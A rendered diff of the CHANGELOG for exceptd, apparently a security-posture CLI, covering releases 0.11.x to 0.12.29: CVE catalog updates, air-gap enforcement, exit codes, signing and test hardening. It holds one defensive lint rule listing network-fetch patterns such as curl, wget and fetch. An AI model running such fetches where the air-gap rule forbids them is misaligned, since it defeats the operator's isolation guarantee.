- AI-discovery rate stays at 20% after the deep-research pass (24 currently-false CVEs investigated; zero credible flips found). Methodology block updated: the 40% target reflects the broader 2025 zero-day population (Google Threat Intelligence Group), but the curated exceptd catalog is weighted toward Pwn2Own Ireland 2025 entries, historical anchors (CVE-2020-10148, CVE-2024-3094, etc.), and supply-chain incidents — none of which carry public AI-tool credit. Advancing the ladder from 20% → 30% → 40% will happen as the catalog rotates toward 2026 Big Sleep / AIxCC / GTIG-attributed entries; forcing flips on the current population would violate Hard Rule #1 (no speculation).
|
|
300
393
|
|
|
301
394
|
|
|
302
395
|
## 0.12.29 — 2026-05-15
|
|
@@ -311,13 +404,13 @@ Catalog hygiene + pipeline integrity pass. Closes Hard Rule #1, #6, #7, and #8 g
|
|
|
311
404
|
|
|
312
405
|
**OpenVEX `author` threads operator attribution.** Previously hard-pinned to `"exceptd"`, which falsely attributed every disposition statement to the tooling vendor. Now mirrors the CSAF publisher.namespace fallback ladder: `runOpts.publisherNamespace` → `runOpts.operator` → `urn:exceptd:operator:unknown` with a `bundle_publisher_unclaimed` runtime warning. Operators running scans correctly own their dispositions.
|
|
313
406
|
|
|
314
|
-
**Exit code 10: UNKNOWN_COMMAND.** The dispatcher's unknown-command / missing-script / spawn-error paths previously exited 2, colliding with `EXIT_CODES.DETECTED_ESCALATE` semantics. Split into `EXIT_CODES.UNKNOWN_COMMAND = 10`. CI gates wiring `case 2)` for escalation triage no longer false-alarm on operator typos.
|
|
407
|
+
**Exit code 10: UNKNOWN_COMMAND.** The dispatcher's unknown-command / missing-script / spawn-error paths previously exited 2, colliding with `EXIT_CODES.DETECTED_ESCALATE` semantics. Split into `EXIT_CODES.UNKNOWN_COMMAND = 10`. CI gates wiring `case 2)` for escalation triage no longer false-alarm on operator typos.
|
|
315
408
|
|
|
316
409
|
**Reverse-reference auto-regeneration.** New `npm run refresh-reverse-refs` rebuilds the `skills_referencing` / `exceptd_skills` arrays on `data/atlas-ttps.json`, `data/cwe-catalog.json`, `data/d3fend-catalog.json`, and `data/rfc-references.json` from the manifest forward direction. Idempotent. A new `tests/reverse-ref-drift.test.js` blocks merges that leave the reverse direction out of sync with the manifest — eliminates the one-sided-reference drift class that audits have flagged repeatedly.
|
|
317
410
|
|
|
318
411
|
### Bugs
|
|
319
412
|
|
|
320
|
-
- `crypto-codebase` `feeds_into` condition used the unsupported `contains` operator; the chain to the `secrets` playbook never fired. Replaced with `analyze.classification == 'detected'`.
|
|
413
|
+
- `crypto-codebase` `feeds_into` condition used the unsupported `contains` operator; the chain to the `secrets` playbook never fired. Replaced with `analyze.classification == 'detected'`.
|
|
321
414
|
- Manifest `atlas_version` / `attack_version` had drifted to v5.1.0 / v17 while the data catalogs already pinned v5.4.0 / v19.0. Manifest now matches the catalogs and AGENTS.md ground truth.
|
|
322
415
|
- 14 sites in `bin/exceptd.js` used bare numeric `process.exitCode = 1` / `finish(1)` / `finish(0)` instead of `EXIT_CODES.*` constants. All migrated to the constant.
|
|
323
416
|
- `cmdCi` per-id loop called `runner.loadPlaybook(id)` without first running `validateIdComponent('playbook')` — a defense-in-depth gap relative to `cmdRunMulti`. Now validates before load.
|
|
@@ -328,7 +421,6 @@ Catalog hygiene + pipeline integrity pass. Closes Hard Rule #1, #6, #7, and #8 g
|
|
|
328
421
|
- AGENTS.md Quick Skill Reference: playbook count "all 13 playbooks" → "all 16 playbooks".
|
|
329
422
|
- `package.json.description`: "38 skills" → "42 skills".
|
|
330
423
|
- 22 reverse-reference entries across 4 catalogs cleaned up by the new regen script (atlas: 30 entries changed, cwe: 46, d3fend: 28, rfc: 22).
|
|
331
|
-
- Test suite 1064 → 1082 (six new test files: framework-gaps-theater-test-coverage, cve-ai-discovery-attribution, sbom-per-file-hash, reverse-ref-drift, plus updates to bin-dispatcher, cli-exit-codes, lib-exit-codes, cve-additions-v0-12-21 for the new contract).
|
|
332
424
|
|
|
333
425
|
|
|
334
426
|
## 0.12.28 — 2026-05-15
|
|
@@ -355,7 +447,7 @@ Incident-response cluster — three new playbooks and skills covering identity-p
|
|
|
355
447
|
|
|
356
448
|
## 0.12.27 — 2026-05-15
|
|
357
449
|
|
|
358
|
-
**Patch: opt-in `--bundle-deterministic` mode for reproducible CSAF + OpenVEX + close-envelope bytes
|
|
450
|
+
**Patch: opt-in `--bundle-deterministic` mode for reproducible CSAF + OpenVEX + close-envelope bytes.**
|
|
359
451
|
|
|
360
452
|
### New flags
|
|
361
453
|
|
|
@@ -387,13 +479,11 @@ When neither flag is set, bundle output is byte-identical to v0.12.26 — no exi
|
|
|
387
479
|
6. `--bundle-deterministic` without `--bundle-epoch` falls back to `playbook._meta.last_threat_review`
|
|
388
480
|
7. Array sort: random-order CVE evidence → `vulnerabilities[]` always ascending by `cve_id`
|
|
389
481
|
|
|
390
|
-
Existing CSAF + OpenVEX + CLI test suites pass unchanged
|
|
391
|
-
|
|
392
|
-
Test count: 1058 pass (5 skipped). Predeploy gates: 14/14. Skills: 39/39 signed.
|
|
482
|
+
Existing CSAF + OpenVEX + CLI test suites pass unchanged with no default-mode regression.
|
|
393
483
|
|
|
394
484
|
## 0.12.26 — 2026-05-15
|
|
395
485
|
|
|
396
|
-
**Patch: sector-telecom skill ships, with supporting framework-gap and ATLAS catalog scaffolding. Closes the
|
|
486
|
+
**Patch: sector-telecom skill ships, with supporting framework-gap and ATLAS catalog scaffolding. Closes the highest-RWEP catalog gap from unmodeled Salt Typhoon-class campaigns.**
|
|
397
487
|
|
|
398
488
|
### New skill: `sector-telecom`
|
|
399
489
|
|
|
@@ -433,8 +523,6 @@ Total ATLAS entries: 29 → 30.
|
|
|
433
523
|
|
|
434
524
|
Adds the `sector-telecom` row to the skill trigger table.
|
|
435
525
|
|
|
436
|
-
Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 39/39 signed; manifest envelope signed.
|
|
437
|
-
|
|
438
526
|
## 0.12.25 — 2026-05-15
|
|
439
527
|
|
|
440
528
|
**Data-refresh release: catalog freshness, Hard Rule #7 AI-discovery posture, ATLAS v5.4 + ATT&CK v19 standards bumps, Pwn2Own Berlin 2026 forward-watch, NGINX Rift, framework deltas (PCI 4.0.1 / HIPAA 2026 NPRM / EU AI Act ITS / DORA RTS).**
|
|
@@ -476,7 +564,7 @@ Twenty CVE entries added with paired `data/exploit-availability.json` records, a
|
|
|
476
564
|
|
|
477
565
|
- **ATLAS v5.1.0 → v5.4.0** + CTID Secure AI v2 layer (May 2026). `data/atlas-ttps.json` entry count 15 → 29. Existing entries gain `secure_ai_v2_layer` + `maturity` fields per CTID's classification. New AI-attack techniques: AML.T0097-T0108 plus sub-techniques.
|
|
478
566
|
- **MITRE ATT&CK v17 → v19.0**. `data/attack-techniques.json` entry count 79 → 91. Defense Evasion (TA0005) split into Stealth (TA0005, retained for non-impair techniques) + Defense Impairment (TA0112). `T1562.001`, `T1562.006`, `T1027` carry a `tactic_moved_from` annotation. Detection Strategies (DSxxxx — v18 first-class addition) populated on every technique cited by skills.
|
|
479
|
-
- **AGENTS.md Hard Rule #12 + DR-7 + Pre-Ship Checklist** split into separate ATLAS-monthly and ATT&CK-semi-annual cadence pins (
|
|
567
|
+
- **AGENTS.md Hard Rule #12 + DR-7 + Pre-Ship Checklist** split into separate ATLAS-monthly and ATT&CK-semi-annual cadence pins (ATLAS now ships monthly per CTID, ATT&CK ships twice yearly).
|
|
480
568
|
- **15 skills' `last_threat_review` dates bumped to 2026-05-15** where ATLAS / ATT&CK refs changed.
|
|
481
569
|
|
|
482
570
|
### Framework deltas
|
|
@@ -512,12 +600,6 @@ Fifteen forward-watch entries placed across nine skills' `forward_watch:` frontm
|
|
|
512
600
|
|
|
513
601
|
- **RWEP scoring divergence on 10 new entries reconciled** with `scoreCustom()` formula. Pre-correction the stored scores diverged by 10-38 points from the formula (most extreme: NGINX Rift stored 78, formula 40 — patch + live-patch availability + zero observed exploitation walks the score down despite the AI-discovery bonus). All entries now within ±5 of formula.
|
|
514
602
|
|
|
515
|
-
### Deferred to v0.12.26
|
|
516
|
-
|
|
517
|
-
- **`sector-telecom` skill** — drafted (370 LOC, Salt Typhoon / Volt Typhoon / 5G core / lawful-intercept abuse / signaling-protocol attacks / OEM supply chain) but the body lint surfaced 13 issues (3 missing required sections, atlas_refs and framework_gaps referencing entries not yet in catalog, placeholder language). Folding into v0.12.26 with the proper catalog scaffolding rather than rushing a half-complete skill.
|
|
518
|
-
|
|
519
|
-
Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed.
|
|
520
|
-
|
|
521
603
|
## 0.12.24 — 2026-05-15
|
|
522
604
|
|
|
523
605
|
**Patch: security defenses, exit-code centralisation, bundle correctness, air-gap honesty, cache integrity, error-message UX, test-infra hardening, doc reconciliation.**
|
|
@@ -545,7 +627,7 @@ Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed;
|
|
|
545
627
|
|
|
546
628
|
### Air-gap defenses
|
|
547
629
|
|
|
548
|
-
- **`refresh --network`, `doctor --registry-check`, `auto-discovery` Datatracker fetch, and `prefetch`** now honor `--air-gap` and `EXCEPTD_AIR_GAP=1`. The four
|
|
630
|
+
- **`refresh --network`, `doctor --registry-check`, `auto-discovery` Datatracker fetch, and `prefetch`** now honor `--air-gap` and `EXCEPTD_AIR_GAP=1`. The four previously-leaking paths are closed; operators in regulated environments get a real guarantee.
|
|
549
631
|
- **`--air-gap` flag and `EXCEPTD_AIR_GAP=1` env are equivalent** at every site that consumes either.
|
|
550
632
|
- **AI-consumer telemetry advisory.** When `--air-gap` is active, exceptd emits a one-time stderr advisory noting that the operator's AI agent may still call its model API. Routed through stderr so JSON-mode consumers see only structured stdout.
|
|
551
633
|
- **Air-gap completeness lint rule** in `lib/lint-skills.js` flags playbook artifacts whose `source` contains a network pattern (`https://`, `http://`, `gh api`, `gh release`, `curl`, `wget`, `fetch`) without `air_gap_alternative`.
|
|
@@ -608,7 +690,6 @@ Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed;
|
|
|
608
690
|
- **`engines.node`** widened from `>=24.0.0` to `>=22.11.0`. Node 22 LTS through Apr 2027 is the corporate default; the prior pin excluded most enterprise installs.
|
|
609
691
|
- **Keywords** add `csaf-2.0`, `openvex`, `sarif`, `ed25519`, `provenance`, `attestation` (22 → 28 entries, alphabetised).
|
|
610
692
|
- **README install section** adds a "First run" snippet (`exceptd doctor --signatures` + fingerprint pin + npm provenance verify). New `agents/` description documents the markdown role-card scaffolding for skill authors.
|
|
611
|
-
- **CHANGELOG retroactive cleanup.** Operator-facing slot-token leakage removed from the v0.12.21 and v0.12.23 Internal sections.
|
|
612
693
|
- **`MAINTAINERS.md`** version-pinned subheadings collapsed into a single "High-trust skill paths" list.
|
|
613
694
|
- **Landing site (https://exceptd.com/)** refreshed: `softwareVersion: 0.12.24`, "35 jurisdictions" across every body-copy occurrence (was "34"), `exceptd plan` → `exceptd brief --all`, `exceptd scan` → `exceptd discover`, "13-gate predeploy" → "14-gate predeploy".
|
|
614
695
|
|
|
@@ -620,8 +701,6 @@ Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed;
|
|
|
620
701
|
- **14 `audit-*-fixes.test.js` files renamed** to behavior-framed names (`runtime-errors-and-vex-disposition`, `attestation-trust-boundary`, `csaf-bundle-correctness`, `cli-flag-validation`, `playbook-runner-error-paths`, `framework-gap-completeness`, `rwep-scoring-edge-cases`, `cli-subverb-dispatch`, `openvex-emission`, `predeploy-gate-coverage`, `cli-exit-codes`, `playbook-schema-validation`, `attestation-signature-roundtrip`, `cve-catalog-shape`).
|
|
621
702
|
- **New coverage**: `cli-playbook-traversal.test.js`, `attest-verify-replay-isolation.test.js`, `cmd-run-multi-lock-contention.test.js`, `openvex-urn-routing.test.js`, `lib-exit-codes.test.js`, `lib-id-validation.test.js`, `lib-flag-suggest.test.js`.
|
|
622
703
|
|
|
623
|
-
Test count: 995 → 1043 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed.
|
|
624
|
-
|
|
625
704
|
## 0.12.23 — 2026-05-15
|
|
626
705
|
|
|
627
706
|
**Patch: doc-vs-code reconciliation, trust-chain pin loader hardening, attest list/show replay isolation, global-first framework coverage backfill.**
|
|
@@ -664,8 +743,6 @@ Test count: 995 → 1043 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38
|
|
|
664
743
|
- **Internal code comments stripped of stray maintenance-tracking tokens (no behavior change).**
|
|
665
744
|
- **Exit-code assertion in the UTF-16BE odd-length-payload test tightened** from `notEqual(r.status, 0)` to `assert.equal(r.status, 1)` per project anti-coincidence rule.
|
|
666
745
|
|
|
667
|
-
Test count and predeploy gates land alongside this entry; see the predeploy log on the release commit.
|
|
668
|
-
|
|
669
746
|
## 0.12.22 — 2026-05-15
|
|
670
747
|
|
|
671
748
|
## 0.12.22 — 2026-05-15
|
|
@@ -710,8 +787,6 @@ Test count and predeploy gates land alongside this entry; see the predeploy log
|
|
|
710
787
|
- **`data/playbooks/runtime.json domain.cve_refs[]`** completes the Dirty-Frag family by adding `CVE-2026-43284` and `CVE-2026-43500` (already referenced by `kernel.json` and `hardening.json`).
|
|
711
788
|
- **`skills/threat-model-currency/skill.md`** inline `last_threat_review` date aligned to frontmatter (`2026-05-14`).
|
|
712
789
|
|
|
713
|
-
Test count: 941 → 995 (992 pass + 3 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed.
|
|
714
|
-
|
|
715
790
|
## 0.12.21 — 2026-05-14
|
|
716
791
|
|
|
717
792
|
**Patch: Fragnesia (CVE-2026-46300) catalog + skill integration; trust-chain bypass closures; engine FP-gate extension; CSAF + SARIF + OpenVEX correctness; CLI fuzz; Hard Rule #5 global-first coverage; predeploy regression fix.**
|
|
@@ -782,7 +857,7 @@ The `kernel`, `runtime`, and `hardening` playbooks now reference Fragnesia in `d
|
|
|
782
857
|
|
|
783
858
|
- New regression coverage for every closure above.
|
|
784
859
|
- Coincidence-passing-test cleanup: exit-code assertions tightened from `notEqual(r.status, 0)` to exact-value `assert.equal(r.status, <code>)`; classification assertions pinned to expected enum values.
|
|
785
|
-
-
|
|
860
|
+
- `doctor --fix is registered` rewritten as a non-mutating `--help` probe; the previous shape staged a dummy `.keys/private.pem` in the real repo root, replicating the v0.12.4 incident anti-pattern.
|
|
786
861
|
|
|
787
862
|
### Skill content
|
|
788
863
|
|
|
@@ -793,17 +868,11 @@ The `kernel`, `runtime`, and `hardening` playbooks now reference Fragnesia in `d
|
|
|
793
868
|
|
|
794
869
|
UK CAF + AU Essential 8 / ISM entries added to the framework-control-gap declarations across 10 playbooks (`kernel`, `mcp`, `ai-api`, `crypto`, `sbom`, `runtime`, `cred-stores`, `secrets`, `containers`, `hardening`). NIS2 Art. 21 + DORA Art. 9 added to `hardening` and `containers`. Each entry follows the existing schema shape; the gold-standard templates from `framework`, `crypto-codebase`, and `library-author` remain the reference.
|
|
795
870
|
|
|
796
|
-
### Source comments
|
|
797
|
-
|
|
798
|
-
Source comments rewritten to describe behavior.
|
|
799
|
-
|
|
800
|
-
Test count: 840 → 941 (938 pass + 3 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed.
|
|
801
|
-
|
|
802
871
|
## 0.12.20 — 2026-05-14
|
|
803
872
|
|
|
804
873
|
**Patch: e2e scenarios attest FP checks for indicators that the v0.12.19 classification-override block now forces to `inconclusive` when unattested.**
|
|
805
874
|
|
|
806
|
-
The v0.12.19 engine
|
|
875
|
+
The v0.12.19 engine change blocks `detection_classification: 'detected'` agent overrides when ANY indicator with `false_positive_checks_required[]` fires without operator attestation. Five e2e scenarios asserting `classification: detected` were submitting FP-required indicator hits without attestations, so the runner correctly downgraded them. The scenarios now attest the FP checks:
|
|
807
876
|
|
|
808
877
|
- `09-secrets-aws-key`: attest `aws-secret-access-key` (3 checks)
|
|
809
878
|
- `10-kernel-copy-fail`: attest `unpriv-userns-enabled` (2 checks)
|
|
@@ -881,10 +950,8 @@ v0.12.20 ships the v0.12.19 trust-chain + engine + bundle + concurrency closures
|
|
|
881
950
|
|
|
882
951
|
### Tests
|
|
883
952
|
|
|
884
|
-
- New: `tests/normalize-contract.test.js`, `tests/
|
|
885
|
-
- Touched: `tests/predeploy-gates.test.js` (gate-14 fixture signs the manifest envelope so per-skill verify still runs against tamper variants); `tests/operator-bugs.test.js` (
|
|
886
|
-
|
|
887
|
-
Test count: 760 → 840 (838 pass + 2 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed; manifest signature shape `{algorithm, signature_base64}` (no `signed_at`).
|
|
953
|
+
- New: `tests/normalize-contract.test.js`, `tests/bundle-correctness.test.js`, `tests/_helpers/concurrent-attestation-writer.js`, plus new audit-fixes coverage.
|
|
954
|
+
- Touched: `tests/predeploy-gates.test.js` (gate-14 fixture signs the manifest envelope so per-skill verify still runs against tamper variants); `tests/operator-bugs.test.js` (framework-gap assertion updated to the new `document.notes[]` contract); `tests/auto-discovery.test.js` (KEV-draft schema-shape + active_exploitation enum + source_verified date).
|
|
888
955
|
|
|
889
956
|
## 0.12.18 — 2026-05-14
|
|
890
957
|
|
|
@@ -947,8 +1014,6 @@ Each entry is a 1-line check an AI assistant or operator must satisfy before the
|
|
|
947
1014
|
|
|
948
1015
|
`lib/auto-discovery.js discoverNewKev` previously hardcoded `severity: 'high'` on every KEV-discovered diff. Now uses `deriveKevSeverity(kevEntry)` — returns `'critical'` when `knownRansomwareCampaignUse === 'Known'` OR `dueDate` is within 7 days; otherwise `'high'`. Downstream PR-body categorization can now route ransomware-use + imminent-due-date KEVs differently.
|
|
949
1016
|
|
|
950
|
-
Test count: 740 → 760. Predeploy gates: 14/14. Skills: 38/38 signed; manifest itself signed.
|
|
951
|
-
|
|
952
1017
|
## 0.12.16 — 2026-05-14
|
|
953
1018
|
|
|
954
1019
|
**Patch: trust chain hardening, CI workflow injection sinks, CLI fuzz fixes, scoring math, curation + auto-discovery + prefetch fixes, playbook hygiene.**
|
|
@@ -1014,8 +1079,6 @@ Test count: 740 → 760. Predeploy gates: 14/14. Skills: 38/38 signed; manifest
|
|
|
1014
1079
|
- 8 new workflow-security regression tests in `tests/workflows-security.test.js`.
|
|
1015
1080
|
- `validate-playbooks.js` now reports 12/13 PASS + 1 WARN (was 8 PASS + 5 WARN before normalization).
|
|
1016
1081
|
|
|
1017
|
-
Test count: 701 → 738 (+37: 29 scoring vectors + 8 workflow-security). Predeploy gates: 14/14. Skills: 38/38 signed and verified.
|
|
1018
|
-
|
|
1019
1082
|
## 0.12.15 — 2026-05-14
|
|
1020
1083
|
|
|
1021
1084
|
**Patch: RWEP factor-scaling three-tier fallback + silent-disable regression closures.**
|
|
@@ -1050,8 +1113,6 @@ Three prior fixes were silently dead:
|
|
|
1050
1113
|
|
|
1051
1114
|
- `--scope <invalid>` now produces a structured error instead of silently producing zero results. The prior shape: `run --scope nonsense` returned `count: 0` + `ok: true` + exit 0; `ci --scope nonsense` silently ran only the cross-cutting set (`framework`) with `verdict: PASS`. Both validated as operator-intent loss patterns. Accepted scope set: `system | code | service | cross-cutting | all`.
|
|
1052
1115
|
|
|
1053
|
-
Test count: 701 (700 pass + 1 skipped POSIX-only SIGTERM test). Predeploy gates: 14/14. Skills: 38/38 signed and verified.
|
|
1054
|
-
|
|
1055
1116
|
## 0.12.14 — 2026-05-14
|
|
1056
1117
|
|
|
1057
1118
|
**Patch: hardening across trust chain, engine, refresh sources, orchestrator/watch, predeploy gates, catalogs, and skill content.**
|
|
@@ -1157,19 +1218,15 @@ Nine CVE→catalog cross-ref breaks closed: missing CWE-669 + CWE-123 added; mis
|
|
|
1157
1218
|
- `package.json files` allowlist extended with `keys/EXPECTED_FINGERPRINT` and `manifest-snapshot.sha256` so the new pin checks ship to operators.
|
|
1158
1219
|
- `vendor/blamejs/_PROVENANCE.json` `exceptd_deltas` documents the worker-pool UNC-path Windows rejection.
|
|
1159
1220
|
|
|
1160
|
-
Test count: 586 → 693 (+107: refresh-network rewrite tests, engine non-engine fixes, orchestrator audit tests, source-osv + source-ghsa hardening, predeploy gate additions, validate-cve-catalog cross-ref tests). Predeploy gates: 14/14 (was 16; two no-op offline gates removed). Skills: 38/38 signed and verified.
|
|
1161
|
-
|
|
1162
1221
|
## 0.12.13 — 2026-05-14
|
|
1163
1222
|
|
|
1164
1223
|
**Patch: e2e scenarios pass `--ack` to exercise the v0.12.12 jurisdiction-clock contract.**
|
|
1165
1224
|
|
|
1166
1225
|
Two e2e scenarios (`02-tanstack-worm-payload`, `09-secrets-aws-key`) assert that `phases.close.jurisdiction_clocks_count >= 1` against a `detected` classification. The v0.12.12 contract: `clock_starts: detect_confirmed` no longer auto-stamps when classification turns `detected`; the operator must pass `--ack` for the clock to start. Both scenarios now pass `--ack`.
|
|
1167
1226
|
|
|
1168
|
-
Test count: 585/585. Predeploy gates: 16/16. Skills: 38/38 signed and verified.
|
|
1169
|
-
|
|
1170
1227
|
## 0.12.12 — 2026-05-13
|
|
1171
1228
|
|
|
1172
|
-
**Patch: deep multi-surface hardening — engine semantics, concurrency, signing round-trip, output bundles, validators, scheduler, curation
|
|
1229
|
+
**Patch: deep multi-surface hardening — engine semantics, concurrency, signing round-trip, output bundles, validators, scheduler, curation.**
|
|
1173
1230
|
|
|
1174
1231
|
### Engine semantics
|
|
1175
1232
|
|
|
@@ -1250,8 +1307,6 @@ The fingerprint banner now prints AFTER the verdict line in both `sign-all` and
|
|
|
1250
1307
|
- `manifest-snapshot.json` + `sbom.cdx.json` + `data/_indexes/` refreshed.
|
|
1251
1308
|
- `data/attack-techniques.json` new — 75 ATT&CK technique entries with v17 metadata, supporting `attack_refs` resolution across the catalog.
|
|
1252
1309
|
|
|
1253
|
-
Test count: 492 → 573 (+81 across engine, sign/verify, refresh-external, prefetch, scheduler, cve-curation, bundle-correctness, validate-playbooks, and operator-bugs test files). Predeploy gates: 16/16. Skills: 38/38 signed and verified.
|
|
1254
|
-
|
|
1255
1310
|
## 0.12.11 — 2026-05-13
|
|
1256
1311
|
|
|
1257
1312
|
**Patch: OSV source hardening, indicator regex widening, CWE/framework-gap reconciliation.**
|
|
@@ -1288,8 +1343,6 @@ Eight `framework_control_gaps` keys used by the v0.12.10 catalog additions did n
|
|
|
1288
1343
|
- `lib/source-ghsa.js` "unrecognized id format" error message widened to enumerate the OSV-native prefixes operators can pass via `--advisory` (was previously CVE/GHSA only).
|
|
1289
1344
|
- `README.md` documents the OSV source: install command, `--advisory MAL-...` form, `EXCEPTD_OSV_FIXTURE` env var, the fresh-disclosure workflow expanded to mention OSV's coverage breadth.
|
|
1290
1345
|
|
|
1291
|
-
Test count: 462 → 492 (+30: 18 OSV source-hardening tests + 10 indicator regex tests + 2 catalog drift assertions). Predeploy gates: 15/15. Skills: 38/38 signed and verified.
|
|
1292
|
-
|
|
1293
1346
|
## 0.12.10 — 2026-05-13
|
|
1294
1347
|
|
|
1295
1348
|
**Patch: OSV.dev wired as an upstream source, three new catalog entries, one new library-author indicator.**
|
|
@@ -1323,10 +1376,6 @@ Three matching `data/zeroday-lessons.json` entries follow the CVE-2026-45321 les
|
|
|
1323
1376
|
- `data/cwe-catalog.json` gains CWE-506 (Embedded Malicious Code) and CWE-88 (Improper Neutralization of Argument Delimiters). Both backed by the new catalog entries.
|
|
1324
1377
|
- `data/cve-catalog.json` `_meta.id_conventions` documents the MAL-*/SNYK-*/GHSA-*/RUSTSEC-* identifier shapes the catalog now accepts, the alias-retention convention when MITRE issues a CVE later, and the EPSS limitation (FIRST only indexes CVE identifiers).
|
|
1325
1378
|
|
|
1326
|
-
### Repository
|
|
1327
|
-
|
|
1328
|
-
Test count: 441 → 459 (+18: OSV source tests + matching test references for Hard Rule #15 coverage). Predeploy gates: 15/15. Skills: 38/38 signed and verified. No skill bodies changed in this patch.
|
|
1329
|
-
|
|
1330
1379
|
## 0.12.9 — 2026-05-13
|
|
1331
1380
|
|
|
1332
1381
|
**Patch: Hard Rule #15 diff-coverage gate flips blocking, sbom evidence-correlation fix, CVE catalog freshness corrections, recovery of two CLI fixes lost across an interrupted refactor.**
|
|
@@ -1408,8 +1457,6 @@ Eight meta skills (`researcher`, `threat-model-currency`, `skill-update-loop`, `
|
|
|
1408
1457
|
- CONTRIBUTING.md adds `npm run diff-coverage` to the pre-push gate list so contributors run the same Hard Rule #15 check CI does.
|
|
1409
1458
|
- Dependabot grouping for github-actions (already landed in v0.12.8) confirmed intact.
|
|
1410
1459
|
|
|
1411
|
-
Test count: 418 → 439. Predeploy gates: 15/15 (gate 15 now blocking). Skills: 38/38 signed and verified.
|
|
1412
|
-
|
|
1413
1460
|
## 0.12.8 — 2026-05-13
|
|
1414
1461
|
|
|
1415
1462
|
**Patch: CLI surface fixes, catalog completeness, test infrastructure hardening, AGENTS.md Hard Rule #15.**
|
|
@@ -1473,9 +1520,9 @@ Twelve new e2e scenarios in `tests/e2e-scenarios/09-secrets-aws-key` through `20
|
|
|
1473
1520
|
|
|
1474
1521
|
### Repository
|
|
1475
1522
|
|
|
1476
|
-
Dependabot grouping config added for the github-actions ecosystem: weekly version-update bumps now land as a single grouped PR instead of N parallel PRs against the same
|
|
1523
|
+
Dependabot grouping config added for the github-actions ecosystem: weekly version-update bumps now land as a single grouped PR instead of N parallel PRs against the same CI matrix. Security-updates stay ungrouped so a single-action CVE surfaces as its own PR.
|
|
1477
1524
|
|
|
1478
|
-
|
|
1525
|
+
Predeploy gates: 14 → 15.
|
|
1479
1526
|
|
|
1480
1527
|
## 0.12.7 — 2026-05-13
|
|
1481
1528
|
|
|
@@ -1511,7 +1558,7 @@ mcp playbook bumped 1.2.0 → 1.3.0. threat_currency_score stays at 98. `last_th
|
|
|
1511
1558
|
|
|
1512
1559
|
**Patch: primary-source IoC review across the catalog — five CVEs reviewed line-level against published exploit source. AGENTS.md Hard Rule #14 added.**
|
|
1513
1560
|
|
|
1514
|
-
|
|
1561
|
+
Roughly 60 IoCs added across five catalogued CVEs, one major CVSS correction, two CVEs gained an `iocs` block where they previously had `null`.
|
|
1515
1562
|
|
|
1516
1563
|
### CVE-2025-53773 (Copilot YOLO mode) — major correction
|
|
1517
1564
|
|
|
@@ -1561,10 +1608,6 @@ Source: Trail of Bits (line-jumping + ANSI escape research), Invariant Labs (too
|
|
|
1561
1608
|
|
|
1562
1609
|
All three `last_threat_review: 2026-05-13`.
|
|
1563
1610
|
|
|
1564
|
-
### Method
|
|
1565
|
-
|
|
1566
|
-
Five parallel researcher agents dispatched via the project's multi-agent pattern (CLAUDE.md "Parallel agent dispatch for large patches"). Each agent owned one CVE; each returned a structured gap report with category, pattern, source citation (URL + quote), and ready-to-paste JSON. Main thread integrated. Hard Rule #14 codifies the pattern for every subsequent catalog addition.
|
|
1567
|
-
|
|
1568
1611
|
## 0.12.5 — 2026-05-13
|
|
1569
1612
|
|
|
1570
1613
|
**Patch: root cause of the signature regression — a test was generating a fresh keypair mid-suite.**
|
|
@@ -1858,11 +1901,7 @@ All three honor `EXCEPTD_REGISTRY_FIXTURE` env var (path to a JSON file mimickin
|
|
|
1858
1901
|
|
|
1859
1902
|
### Tests
|
|
1860
1903
|
|
|
1861
|
-
7 new regression cases.
|
|
1862
|
-
|
|
1863
|
-
### Lesson codified
|
|
1864
|
-
|
|
1865
|
-
When a "fix" passes a regression test by coincidence (any non-zero exit satisfies "not 0"), the test is too weak. Tests must assert the EXACT contract — exit 4, not "any non-zero." Added to CLAUDE.md.
|
|
1904
|
+
7 new regression cases. Notable: `#125/#134` now triggers a REAL preflight halt by submitting `repo-context: false` keyed by playbook id (autoDetectPreconditions can't override an explicit submission), and asserts `r.status === 4` not just non-zero — the earlier test only caught "not 0" which the v0.11.12 "fix" passed by coincidence (no-evidence → exit 3, also non-zero).
|
|
1866
1905
|
|
|
1867
1906
|
## 0.11.13 — 2026-05-13
|
|
1868
1907
|
|
|
@@ -1876,11 +1915,7 @@ When a "fix" passes a regression test by coincidence (any non-zero exit satisfie
|
|
|
1876
1915
|
|
|
1877
1916
|
### Tests
|
|
1878
1917
|
|
|
1879
|
-
3 new regression cases.
|
|
1880
|
-
|
|
1881
|
-
### Lesson codified in CLAUDE.md
|
|
1882
|
-
|
|
1883
|
-
When a class of bug ("verb forgot to set exit code") keeps recurring across releases, fix the class, not the instance. Move the contract to the lowest layer that all paths share — here, `emit()` itself.
|
|
1918
|
+
3 new regression cases. The `#127` test asserts the universal contract by hitting `attest verify` on a non-existent session id and checking that any `ok:false` body (stdout or stderr) maps to non-zero exit. The `#128` test runs two `{}` submissions through `run sbom` and asserts the diff reports `total_compared > 0` matching `unchanged_count`.
|
|
1884
1919
|
|
|
1885
1920
|
## 0.11.12 — 2026-05-12
|
|
1886
1921
|
|
|
@@ -1900,11 +1935,7 @@ Pattern: previous releases shipped the right field names but with empty content
|
|
|
1900
1935
|
|
|
1901
1936
|
### Tests
|
|
1902
1937
|
|
|
1903
|
-
5 new regression cases.
|
|
1904
|
-
|
|
1905
|
-
### Voice note (internal)
|
|
1906
|
-
|
|
1907
|
-
Three of the four items (#123, #124, #126) were "added the field but the field was empty." Lesson: when an operator says "field is missing," the next question to ask after "is it on the result?" is "is its content meaningful, or is it a structurally-present null?" Codified in CLAUDE.md.
|
|
1938
|
+
5 new regression cases. Tests assert content shape, not just field presence — every test that checks for a notification array now also asserts the entries carry non-null jurisdiction/regulation/window_hours.
|
|
1908
1939
|
|
|
1909
1940
|
## 0.11.11 — 2026-05-12
|
|
1910
1941
|
|
|
@@ -1923,15 +1954,11 @@ v0.11.10 #100 used `process.exit(3)` after writing the result JSON to stdout. Wh
|
|
|
1923
1954
|
|
|
1924
1955
|
